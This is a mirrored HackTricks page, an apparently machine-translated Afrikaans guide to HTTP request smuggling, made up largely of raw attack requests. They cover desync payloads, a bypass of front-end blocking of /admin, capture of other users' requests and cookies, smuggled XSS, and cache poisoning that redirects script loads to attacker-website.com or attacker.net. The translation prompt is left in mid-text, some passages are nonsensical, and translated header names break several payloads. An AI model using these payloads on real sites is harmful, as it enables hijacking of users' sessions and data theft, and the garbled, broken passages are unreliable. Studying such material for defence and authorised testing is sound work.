Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-22 20:53:37 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/http-request-smuggling
History
Translator 3452abb605 Translated ['pentesting-web/http-connection-request-smuggling.md', 'pent
2024-03-25 01:50:34 +00:00
..
browser-http-request-smuggling.md Translated to Afrikaans 2024-02-11 02:07:06 +00:00
README.md Translated ['pentesting-web/http-connection-request-smuggling.md', 'pent 2024-03-25 01:50:34 +00:00
request-smuggling-in-http-2-downgrades.md Translated to Afrikaans 2024-02-11 02:07:06 +00:00

README.md

HTTP Aanvraag Smokkelary / HTTP Desync Aanval

Leer AWS hak van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Wat is

Hierdie kwesbaarheid kom voor wanneer 'n desinkronisasie tussen front-end proksies en die agterste bediener 'n aanvaller toelaat om 'n HTTP aanvraag te stuur wat deur die front-end proksies (laaibalansering/omgekeerde proksie) as 'n enkele aanvraag en deur die agterste bediener as 2 aanvrae geïnterpreteer sal word.
Dit stel 'n gebruiker in staat om die volgende aanvraag wat na die agterste bediener kom na hom te verander.

Teorie

RFC Spesifikasie (2161)

As 'n boodskap ontvang word met beide 'n Oorplasing-Kodering koperveld en 'n Inhouds-Lengte koperveld, moet die laasgenoemde geïgnoreer word.

Inhouds-Lengte

Die Inhouds-Lengte entiteitkop dui die grootte van die entiteitliggaam, in bytes, aan wat aan die ontvanger gestuur word.

Oorplasing-Kodering: stuksgewys

Die Oorplasing-Kodering kop spesifiseer die vorm van kodering wat gebruik word om die nutliggaam veilig na die gebruiker oor te dra.
Stuksgewys beteken dat groot data in 'n reeks stukke gestuur word.

Werklikheid

Die Front-End ( 'n laaibalansering / Omgekeerde Proksie) verwerk die inhouds-lengte of die oorplasing-kodering kop en die Agterste bediener verwerk die ander een wat 'n desinkronisasie tussen die 2 stelsels veroorsaak.
Dit kan baie krities wees omdat 'n aanvaller in staat sal wees om een aanvraag na die omgekeerde proksie te stuur wat deur die agterste bediener as 2 verskillende aanvrae geïnterpreteer sal word. Die gevaar van hierdie tegniek lê daarin dat die agterste bediener die 2de ingeslote aanvraag sal interpreteer asof dit van die volgende kliënt afkomstig is en die werklike aanvraag van daardie kliënt sal deel wees van die ingeslote aanvraag.

Besonderhede

Onthou dat in HTTP 'n nuwe lynkarakter uit 2 bytes bestaan:

  • Inhouds-Lengte: Hierdie kop gebruik 'n desimale nommer om die aantal bytes van die liggaam van die aanvraag aan te dui. Daar word verwag dat die liggaam eindig met die laaste karakter, 'n nuwe lyn is nie nodig aan die einde van die aanvraag nie.
  • Oorplasing-Kodering: Hierdie kop gebruik in die liggaam 'n heksadesimale nommer om die aantal bytes van die volgende stuk aan te dui. Die stuk moet eindig met 'n nuwe lyn maar hierdie nuwe lyn word nie getel deur die lengte-aanwyser nie. Hierdie oorplasingsmetode moet eindig met 'n stuk van grootte 0 gevolg deur 2 nuwe lyne: 0
  • Verbinding: Gebaseer op my ervaring word dit aanbeveel om Verbinding: aanhou te gebruik op die eerste aanvraag van die aanvraag Smokkelary.

Basiese Voorbeelde

{% hint style="success" %} Wanneer jy probeer om hierdie met Burp Suite te benut, deaktiveer Werk Inhouds-Lengte by en Normaliseer HTTP/1 lynafsluite in die herhaler omdat sommige toestelle nuwe lyne, karretjies en gebrekkige inhoudslengtes misbruik. {% endhint %}

HTTP aanvraag smokkelingsaanvalle word saamgestel deur dubbelsinnige aanvrae te stuur wat diskrepansies uitbuit in hoe front-end en agterste bedieners die Inhouds-Lengte (CL) en Oorplasing-Kodering (TE) koppe interpreteer. Hierdie aanvalle kan in verskillende vorme voorkom, hoofsaaklik as CL.TE, TE.CL, en TE.TE. Elke tipe verteenwoordig 'n unieke kombinasie van hoe die front-end en agterste bedieners hierdie koppe prioritiseer. Die kwesbaarhede ontstaan as gevolg van die bedieners wat dieselfde aanvraag op verskillende maniere verwerk, wat lei tot onverwagte en potensieel skadelike uitkomste.

Basiese Voorbeelde van Kwesbaarheidstipes

https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104

CL.TE Kwesbaarheid (Inhouds-Lengte gebruik deur Front-End, Oorplasing-Kodering gebruik deur Agter-End)

  • Front-End (CL): Verwerk die aanvraag op grond van die Inhouds-Lengte kop.
  • Agter-End (TE): Verwerk die aanvraag op grond van die Oorplasing-Kodering kop.
  • Aanvalscenario:
  • Die aanvaller stuur 'n aanvraag waar die waarde van die Inhouds-Lengte kop nie ooreenstem met die werklike inhoudslengte nie.
  • Die front-end bediener stuur die hele aanvraag na die agter-end, gebaseer op die Inhouds-Lengte waarde.
  • Die agter-end bediener verwerk die aanvraag as stuksgewys weens die Oorplasing-Kodering: stuksgewys kop, wat die oorblywende data interpreteer as 'n aparte, daaropvolgende aanvraag.
  • Voorbeeld:
POST / HTTP/1.1
Host: kwesbare-webwerf.com
Inhouds-Lengte: 30
Verbinding: aanhou
Oorplasing-Kodering: stuksgewys

0

GET /404 HTTP/1.1
Foo: x

TE.CL Kwesbaarheid (Oorplasing-Kodering gebruik deur Front-End, Inhouds-Lengte gebruik deur Agter-End)

  • Front-End (TE): Verwerk die aanvraag op grond van die Oorplasing-Kodering kop.
  • Agter-End (CL): Verwerk die aanvraag op grond van die Inhouds-Lengte kop.
  • Aanvalscenario:
  • Die aanvaller stuur 'n stuksgewyse aanvraag waar die stukgrootte (7b) en werklike inhoudslengte (Inhouds-Lengte: 4) nie ooreenstem nie.
  • Die front-end bediener, wat Oorplasing-Kodering eer, stuur die hele aanvraag na die agter-end.
  • Die agter-end bediener, wat Inhouds-Lengte respekteer, verwerk slegs die aanvanklike deel van die aanvraag (7b byte), en laat die res as deel van 'n onbedoelde daaropvolgende aanvraag.
  • Voorbeeld:
POST / HTTP/1.1
Host: kwesbare-webwerf.com
Inhouds-Lengte: 4
Verbinding: aanhou
Oorplasing-Kodering: stuksgewys

7b
GET /404 HTTP/1.1
Host: kwesbare-webwerf.com
Inhouds-Tipe: aansoek/x-www-form-urlencoded
Inhouds-Lengte: 30

x=
0

TE.TE Kwesbaarheid (Oordrag-Kodering gebruik deur beide, met verduistering)

  • Bedieners: Beide ondersteun Oordrag-Kodering, maar een kan bedrieg word om dit te ignoreer deur verduistering.
  • Aanvalscenario:
  • Die aanvaller stuur 'n versoek met verduisterde Oordrag-Kodering-koppe.
  • Afhangend van watter bediener (voorste of agterste) nie die verduistering herken nie, kan 'n CL.TE of TE.CL kwesbaarheid uitgebuit word.
  • Die onverwerkte deel van die versoek, soos deur een van die bedieners gesien, word deel van 'n daaropvolgende versoek, wat tot smokkelary lei.
  • Voorbeeld:
POST / HTTP/1.1
Host: kwesbare-webwerf.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

CL.CL Scenario (Inhouds-lengte gebruik deur beide Voorste-End en Agterste-End):

  • Beide bedieners verwerk die versoek uitsluitlik op grond van die Inhouds-lengte-kop.
  • Hierdie scenario lei tipies nie tot smokkelary nie, aangesien daar ooreenstemming is oor hoe beide bedieners die versoeklengte interpreteer.
  • Voorbeeld:
POST / HTTP/1.1
Host: kwesbare-webwerf.com
Content-Length: 16
Connection: keep-alive

Normale Versoek

CL != 0 Scenario:

  • Verwys na scenario's waar die Inhouds-lengte-kop teenwoordig is en 'n waarde anders as nul het, wat aandui dat die versoekliggaam inhoud het.
  • Dit is noodsaaklik om smokkelary-aanvalle te verstaan en te skep, aangesien dit beïnvloed hoe bedieners die einde van 'n versoek bepaal.
  • Voorbeeld:
POST / HTTP/1.1
Host: kwesbare-webwerf.com
Content-Length: 16
Connection: keep-alive

Nie-Leë Liggaam

Dwang deur hop-vir-hop-koppe

Deur hop-vir-hop-koppe te misbruik, kan jy die proksi aandui om die kop Inhouds-lengte of Oordrag-Kodering te verwyder sodat 'n HTTP-versoeksmokkelary moontlik is om misbruik te word.

Connection: Content-Length

Vir meer inligting oor hop-by-hop koppe besoek:

{% content-ref url="../abusing-hop-by-hop-headers.md" %} abusing-hop-by-hop-headers.md {% endcontent-ref %}

Die Identifisering van HTTP-aanvraagsmokkel

Die identifisering van HTTP-aanvraagsmokkelkwesbaarhede kan dikwels bereik word deur gebruik te maak van tydtegnieke, wat afhang van die waarneming van hoe lank dit neem vir die bediener om te reageer op gemanipuleerde aanvrae. Hierdie tegnieke is veral nuttig vir die opsporing van CL.TE en TE.CL kwesbaarhede. Benewens hierdie metodes is daar ander strategieë en gereedskap wat gebruik kan word om sulke kwesbaarhede te vind:

Die Identifisering van CL.TE Kwesbaarhede deur Tydtegnieke te Gebruik

  • Metode:
  • Stuur 'n aanvraag wat, as die toepassing kwesbaar is, die agterste bediener sal laat wag vir addisionele data.
  • Voorbeeld:
POST / HTTP/1.1
Host: kwesbare-webwerf.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0
  • Waarneming:
  • Die voorste bediener verwerk die aanvraag op grond van Content-Length en sny die boodskap vroegtydig af.
  • Die agterste bediener, wat 'n gechunke boodskap verwag, wag vir die volgende gechunke wat nooit aankom nie, wat 'n vertraging veroorsaak.
  • Aanwysers:
  • Time-outs of lang vertragings in respons.
  • Ontvang 'n 400 Bad Request-fout van die agterste bediener, soms met gedetailleerde bedienerinligting.

Die Identifisering van TE.CL Kwesbaarhede deur Tydtegnieke te Gebruik

  • Metode:
  • Stuur 'n aanvraag wat, as die toepassing kwesbaar is, die agterste bediener sal laat wag vir addisionele data.
  • Voorbeeld:
POST / HTTP/1.1
Host: kwesbare-webwerf.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X
  • Waarneming:
  • Die voorste bediener verwerk die aanvraag op grond van Transfer-Encoding en stuur die hele boodskap voort.
  • Die agterste bediener, wat 'n boodskap verwag op grond van Content-Length, wag vir addisionele data wat nooit aankom nie, wat 'n vertraging veroorsaak.

Ander Metodes om Kwesbaarhede te Vind

  • Differensiële Responsanalise:
  • Stuur effens gevarieerde weergawes van 'n aanvraag en let op of die bedienerresponsies op 'n onverwagte manier verskil, wat op 'n parsingsdiskrepansie dui.
  • Die Gebruik van Geoutomatiseerde Gereedskap:
  • Gereedskap soos Burp Suite se 'HTTP Request Smuggler'-byvoeging kan outomaties toets vir hierdie kwesbaarhede deur verskeie vorms van dubbelsinnige aanvrae te stuur en die responsies te analiseer.
  • Content-Length Variansietoetse:
  • Stuur aanvrae met wisselende Content-Length-waardes wat nie ooreenstem met die werklike inhoudslengte nie en let op hoe die bediener sulke wanpassings hanteer.
  • Transfer-Encoding Variansietoetse:
  • Stuur aanvrae met geobfuskeerde of verkeerd geformuleerde Transfer-Encoding-koppe en monitor hoe anders die voorste en agterste bedieners reageer op sulke manipulasies.

Toetsing van HTTP-aanvraagsmokkelkwesbaarhede

Nadat die doeltreffendheid van tydtegnieke bevestig is, is dit noodsaaklik om te verifieer of kliëntaanvrae gemanipuleer kan word. 'n Eenvoudige metode is om jou aanvrae te probeer vergiftig, byvoorbeeld deur 'n aanvraag na / te maak wat 'n 404-respons lewer. Die CL.TE en TE.CL voorbeelde wat vroeër bespreek is in Basiese Voorbeelde demonstreer hoe om 'n kliënt se aanvraag te vergiftig om 'n 404-respons uit te lok, ten spyte van die kliënt se doel om 'n ander hulpbron te benader.

Belangrike Oorwegings

Wanneer jy toets vir aanvraagsmokkelkwesbaarhede deur inmenging met ander aanvrae, moet jy in gedagte hou:

  • Duidelike Netwerkverbindings: Die "aanval" en "normale" aanvrae moet oor afsonderlike netwerkverbindings gestuur word. Om dieselfde verbinding vir beide te gebruik, valideer nie die teenwoordigheid van die kwesbaarheid nie.
  • Konstante URL en Parameters: Mik daarop om identiese URL's en parametername vir beide aanvrae te gebruik. Moderne toepassings roeteer dikwels aanvrae na spesifieke agterste bedieners op grond van URL en parameters. Om hierdie te laat ooreenstem, verhoog die waarskynlikheid dat beide aanvrae deur dieselfde bediener verwerk word, 'n voorvereiste vir 'n suksesvolle aanval.
  • Tyd en Wedrenstoestande: Die "normale" aanvraag, bedoel om inmenging van die "aanval" aanvraag te ontdek, kompeteer teenoor ander gelyktydige toepassingsaanvrae. Stuur dus die "normale" aanvraag onmiddellik na die "aanval" aanvraag. Besige toepassings mag verskeie toetse vereis vir 'n bevestiging van die kwesbaarheid.
  • Lasbalanseringsuitdagings: Voorste bedieners wat as lasbalanserings optree, kan aanvrae oor verskeie agterste stelsels versprei. As die "aanval" en "normale" aanvrae op verskillende stelsels beland, sal die aanval nie slaag nie. Hierdie lasbalanseringsaspek mag verskeie pogings vereis om 'n kwesbaarheid te bevestig.
  • Onbedoelde Gebruikerimpak: As jou aanval onbedoeld 'n impak het op 'n ander gebruiker se aanvraag (nie die "normale" aanvraag wat jy gestuur het vir opsporing nie), dui dit daarop dat jou aanval 'n invloed gehad het op 'n ander toepassingsgebruiker. Aanhoudende toetsing kan ander gebruikers ontwrig, wat 'n versigtige benadering vereis.

Die Misbruik van HTTP-aanvraagsmokkel

Die Omseil van Voorsteinde-sekuriteit deur HTTP-aanvraagsmokkel

Soms dwing voorsteinde-proksi sekuriteitsmaatreëls af deur inkomende aanvrae te ondersoek. Hierdie maatreëls kan egter omseil word deur HTTP-aanvraagsmokkel te misbruik, wat ongemagtigde toegang tot beperkte eindpunte moontlik maak. Byvoorbeeld, toegang tot /admin mag ekstern verbied word, met die voorsteinde-proksi wat sulke pogings aktief blokkeer. Nietemin mag hierdie proksi nalaat om ingeslote aanvrae binne 'n gesmokkelde HTTP-aanvraag te ondersoek, wat 'n gaping laat vir die omseiling van hierdie beperkings.

Oorweeg die volgende voorbeelde wat illustreer hoe HTTP-aanvraagsmokkel gebruik kan word om voorsteinde-sekuriteitsbeheer te omseil, wat spesifiek die /admin-roete teiken wat tipies deur die voorsteinde-proksi beskerm word:

CL.TE Voorbeeld

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked

0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

x=

In die CL.TE-aanval word die Content-Length-kop gekapitaliseer vir die aanvanklike versoek, terwyl die daaropvolgende ingeslote versoek die Transfer-Encoding: chunked-kop gebruik. Die front-end proksi verwerk die aanvanklike POST-versoek, maar misluk om die ingeslote GET /admin-versoek te inspekteer, wat ongemagtigde toegang tot die /admin-roete moontlik maak.

TE.CL Voorbeeld

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0

Omgekeerd, in die TE.CL-aanval, gebruik die aanvanklike POST-versoek Transfer-Encoding: chunked, en die daaropvolgende ingeslote versoek word verwerk op grond van die Content-Length-kop. Soortgelyk aan die CL.TE-aanval, ignoreer die front-end proksi die gesmokkelde GET /admin-versoek, wat onbedoeld toegang verleen tot die beperkte /admin-roete.

Onthulling van front-end versoek herskrywing

Toepassings maak dikwels gebruik van 'n front-end bediener om inkomende versoeke te wysig voordat dit na die agterste bediener gestuur word. 'n Tipiese wysiging behels die byvoeging van koppe, soos X-Forwarded-For: <IP van die klient>, om die klient se IP na die agterste te stuur. Die begrip van hierdie wysigings kan krities wees, aangesien dit moontlik maniere kan onthul om beskermings te omseil of verskuilde inligting of eindpunte te ontbloot.

Om te ondersoek hoe 'n proksi 'n versoek verander, vind 'n POST-parameter wat die agterste in die antwoord herhaal. Stel dan 'n versoek op, waarin hierdie parameter laaste gebruik word, soortgelyk aan die volgende:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked

0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

search=

In hierdie struktuur word opeenvolgende versoekkomponente bygevoeg ná search=, wat die parameter is wat in die respons weerspieël word. Hierdie weerspieëling sal die koppe van die opeenvolgende versoek blootstel.

Dit is belangrik om die Content-Length-kop van die geneste versoek te belyn met die werklike inhoudslengte. Dit is aan te beveel om met 'n klein waarde te begin en geleidelik te verhoog, aangesien 'n te lae waarde die weerspieëlde data kan afkap, terwyl 'n te hoë waarde die versoek kan laat foutloop.

Hierdie tegniek is ook toepaslik in die konteks van 'n TE.CL-skwetsbaarheid, maar die versoek moet eindig met search=\r\n0. Ongeag die nuwe lynkarakters, sal die waardes aan die soekparameter aangeheg word.

Hierdie metode dien hoofsaaklik om die versoekmodifikasies wat deur die front-end proksi gedoen word, te verstaan, en voer in wese 'n selfgerigte ondersoek uit.

Vaslegging van ander gebruikers se versoek

Dit is moontlik om die versoek van die volgende gebruiker vas te lê deur 'n spesifieke versoek by te voeg as die waarde van 'n parameter tydens 'n POST-operasie. Hier is hoe dit gedoen kan word:

Deur die volgende versoek as die waarde van 'n parameter by te voeg, kan jy die daaropvolgende klient se versoek stoor:

POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi

csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=

In hierdie scenario is die kommentaarparameter bedoel om die inhoud binne 'n pos se kommentaarafdeling op 'n openlik toeganklike bladsy te stoor. Gevolglik sal die inhoud van die volgende versoek as 'n kommentaar verskyn.

Hierdie tegniek het egter beperkinge. Dit vang gewoonlik slegs data op tot by die parametergrens wat in die gesmokkelde versoek gebruik word. Vir URL-gekodeerde vormindienings is hierdie grens die & karakter. Dit beteken dat die opgevangde inhoud van die slagoffer se versoek sal stop by die eerste &, wat selfs deel van die vraagstring kan wees.

Daarbenewens is dit die moeite werd om daarop te let dat hierdie benadering ook lewensvatbaar is met 'n TE.CL kwesbaarheid. In sulke gevalle moet die versoek eindig met search=\r\n0. Ongeag nuwe lynkarakters sal die waardes aan die soekparameter geheg word.

Gebruik van HTTP-versoeksmokkeling om weerspieëlde XSS uit te buit

HTTP-versoeksmokkeling kan gebruik word om webbladsye wat vatbaar is vir Weerspieëlde XSS uit te buit, met aansienlike voordele:

  • Interaksie met die teikengebruikers is nie vereis nie.
  • Maak die uitbuiting van XSS moontlik in dele van die versoek wat normaalweg onbereikbaar is, soos HTTP-versoekkoppe.

In scenario's waar 'n webwerf vatbaar is vir Weerspieëlde XSS deur die Gebruiker-Agent kop, demonstreer die volgende lading hoe om hierdie kwesbaarheid uit te buit:

POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded

0

GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded

A=

Hierdie lading is gestruktureer om die kwesbaarheid te misbruik deur:

  1. 'n POST versoek te inisieer, skynbaar tipies, met 'n Transfer-Encoding: chunked kop om die begin van smokkelary aan te dui.
  2. Vervolg met 'n 0, wat die einde van die gechunke boodskaplêer aandui.
  3. Dan word 'n gesmokkelde GET versoek ingevoer, waar die User-Agent kop geïnjecteer word met 'n skripsie, <script>alert(1)</script>, wat die XSS trigger wanneer die bediener hierdie daaropvolgende versoek verwerk.

Deur die User-Agent deur smokkelary te manipuleer, verbygaan die lading normale versoekbeperkings en misbruik dus die Reflected XSS-kwesbaarheid op 'n nie-standaard maar effektiewe wyse.

Uitbuiting van On-site Aanwysings met HTTP Versoek Smokkelary

Toepassings rig dikwels van die een URL na die ander deur die gasheernaam van die Host kop in die aanwysings-URL te gebruik. Dit is algemeen met webbedieners soos Apache en IIS. Byvoorbeeld, 'n versoek om 'n vouer sonder 'n afsluitende strepie lei tot 'n aanwysing om die strepie in te sluit:

GET /home HTTP/1.1
Host: normal-website.com

Resultate in:

Hierdie tegniek kan gebruik word om 'n HTTP-verkragting aanval uit te voer teen 'n webbediener wat HTTP/1.1 ondersteun.

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

Alhoewel dit op die oog af onskadelik lyk, kan hierdie gedrag gemanipuleer word deur HTTP-aanvraagsmokkelary te gebruik om gebruikers na 'n eksterne webwerf om te lei. Byvoorbeeld:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

Hierdie gesmokkelde versoek kan veroorsaak dat die volgende verwerkte gebruikersversoek na 'n aanvallerbeheerde webwerf omgelei word:

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

Resultate:

Die volgende is inhoud uit 'n hakboek oor hak tegnieke. Die volgende inhoud is uit die lêer pentesting-web/http-request-smuggling/README.md. Vertaal die relevante Engelse teks na Afrikaans en gee die vertaling terug met presies dieselfde markdown- en html-sintaks. Moet nie dinge soos kode, hak tegniek name, hak woord, wolk/SaaS platform name (soos Workspace, aws, gcp...), die woord 'leak', pentesting, en markdown etikette vertaal nie. Moet ook nie enige ekstra goed byvoeg buite die vertaling en markdown sintaks nie.

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

In hierdie scenario word 'n gebruiker se versoek vir 'n JavaScript-lêer gekaap. Die aanvaller kan potensieel die gebruiker compromitteer deur kwaadwillige JavaScript as reaksie te dien.

Uitbuiting van Web Cache Vergiftiging via HTTP Versoek Smokkelary

Web cache vergiftiging kan uitgevoer word as enige komponent van die front-end infrastruktuur inhoud in die cache stoor, tipies om prestasie te verbeter. Deur die server se reaksie te manipuleer, is dit moontlik om die cache te vergiftig.

Vroeër het ons waargeneem hoe server reaksies verander kon word om 'n 404-fout terug te gee (sien Basiese Voorbeelde). Op soortgelyke wyse is dit moontlik om die server te mislei om /index.html-inhoud te stuur as reaksie op 'n versoek vir /static/include.js. Gevolglik word die /static/include.js-inhoud in die cache vervang met dié van /index.html, wat /static/include.js ontoeganklik maak vir gebruikers, moontlik leiend tot 'n Dienste van Dienste (DoS).

Hierdie tegniek word veral kragtig as 'n Oop Aanstuurbaarheid kwesbaarheid ontdek word of as daar 'n aan-site aanstuurbaarheid na 'n oop aanstuurbaarheid is. Sulke kwesbaarhede kan uitgebuit word om die gekaapte inhoud van /static/include.js te vervang met 'n skrip onder beheer van die aanvaller, wat essensieel 'n wye Kruiswebwerf Skrifinjektering (XSS) aanval teen alle kliënte wat die opgedateerde /static/include.js aanvra.

Hieronder is 'n illustrasie van die uitbuiting van cache vergiftiging gekombineer met 'n aan-site aanstuurbaarheid na 'n oop aanstuurbaarheid. Die doel is om die cache-inhoud van /static/include.js te verander om JavaScript-kode wat deur die aanvaller beheer word, te dien:

POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1

Merk die ingeslote versoek wat mik op /post/next?postId=3. Hierdie versoek sal na /post?postId=4 omgelei word, deur die Host-kopwaarde te gebruik om die domein te bepaal. Deur die Host-kop te verander, kan die aanvaller die versoek na hul domein omlei (op-webwerf omleiding na oop omleiding).

Na suksesvolle socket vergiftiging, moet 'n GET-versoek vir /static/include.js geïnisieer word. Hierdie versoek sal besmet word deur die vorige op-webwerf omleiding na oop omleiding versoek en die inhoud van die skrip wat deur die aanvaller beheer word, oplaai.

Daarna sal enige versoek vir /static/include.js die gekaapte inhoud van die aanvaller se skrip dien, wat effektief 'n breë XSS-aanval lanceer.

Gebruik van HTTP-versoeksmokkelary om webgeknoei te pleeg

Wat is die verskil tussen webgeknoei en webgeknoei?

  • In webgeknoei, veroorsaak die aanvaller dat die aansoek 'n paar skadelike inhoud in die cache stoor, en hierdie inhoud word van die cache na ander aansoekgebruikers bedien.
  • In webgeknoei, veroorsaak die aanvaller dat die aansoek 'n paar sensitiewe inhoud van 'n ander gebruiker in die cache stoor, en die aanvaller haal dan hierdie inhoud uit die cache.

Die aanvaller stel 'n gesmokkelde versoek op wat sensitiewe gebruikerspesifieke inhoud oplaai. Oorweeg die volgende voorbeeld:

`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
``\ `0`\``\
`GET /private/messages HTTP/1.1`\
`Foo: X`

Indien hierdie gesmokkelde versoek 'n kasinskrywing vergiftig wat bedoel is vir statiese inhoud (bv. /someimage.png), kan die slagoffer se sensitiewe data vanaf /private/messages gekas onder die kasinskrywing van die statiese inhoud. Gevolglik kan die aanvaller moontlik hierdie gekas sensitiewe data terugwin.

Misbruik van TRACE via HTTP-versoeksmokkelary

In hierdie pos word voorgestel dat as die bediener die metode TRACE geaktiveer het, dit moontlik is om dit te misbruik met 'n HTTP-versoeksmokkelary. Dit is omdat hierdie metode enige kop wat aan die bediener gestuur word, sal weerspieël as deel van die liggaam van die respons. Byvoorbeeld:

TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>

Sal stuur 'n antwoord soos:

HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115

TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx

'n Voorbeeld van hoe om hierdie gedrag te misbruik sou wees om eers 'n HEAD-aanvraag te smokkel. Hierdie aanvraag sal beantwoord word met slegs die koppe van 'n GET-aanvraag (Content-Type onder hulle). En smokkel onmiddellik na die HEAD 'n TRACE-aanvraag, wat die gestuurde data sal weerspieël.
Aangesien die HEAD-antwoord 'n Content-Length-kop sal bevat, sal die antwoord van die TRACE-aanvraag behandel word as die liggaam van die HEAD-antwoord, wat dus arbitrêre data sal weerspieël in die antwoord.
Hierdie antwoord sal na die volgende aanvraag oor die verbinding gestuur word, sodat dit gebruik kan word in 'n gekaapte JS-lêer byvoorbeeld om arbitrêre JS-kode in te spuit.

Misbruik van TRACE via HTTP-antwoordverdeling

Gaan voort om hierdie pos te volg, daar word voorgestel om 'n ander manier te misbruik om die TRACE-metode te misbruik. Soos daarop gewys word, is dit moontlik om deur 'n HEAD-aanvraag en 'n TRACE-aanvraag te smokkel om sekere weerspieëlde data in die antwoord op die HEAD-aanvraag te beheer. Die lengte van die liggaam van die HEAD-aanvraag word basies aangedui in die Content-Length-kop en word gevorm deur die antwoord op die TRACE-aanvraag.

Daarom sou die nuwe idee wees dat, deur hierdie Content-Length en die data wat in die TRACE-antwoord gegee word, te ken, dit moontlik is om te maak dat die TRACE-antwoord 'n geldige HTTP-antwoord bevat na die laaste byte van die Content-Length, wat 'n aanvaller in staat stel om die aanvraag na die volgende antwoord heeltemal te beheer (wat gebruik kan word om 'n kashering te doen).

Voorbeeld:

GET / HTTP/1.1
Host: example.com
Content-Length: 360

HEAD /smuggled HTTP/1.1
Host: example.com

POST /reflect HTTP/1.1
Host: example.com

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>

Sal sal hierdie reaksies genereer (let op hoe die HEAD-reaksie 'n Content-Length het wat die TRACE-reaksie deel van die HEAD-lyf maak en sodra die HEAD Content-Length eindig, word 'n geldige HTTP-reaksie gesmokkel):

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165

HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50

<script>alert(“arbitrary response”)</script>

Bewapening van HTTP Aanvraag Smokkel met HTTP Respons Desynchronisatie

Het het jy 'n HTTP Aanvraag Smokkel kwesbaarheid gevind en weet nie hoe om dit te benut nie. Probeer hierdie ander metode van uitbuiting:

{% content-ref url="../http-response-smuggling-desync.md" %} http-response-smuggling-desync.md {% endcontent-ref %}

Ander HTTP Aanvraag Smokkel Tegnieke

  • Blaaier HTTP Aanvraag Smokkel (Kliëntkant)

{% content-ref url="browser-http-request-smuggling.md" %} browser-http-request-smuggling.md {% endcontent-ref %}

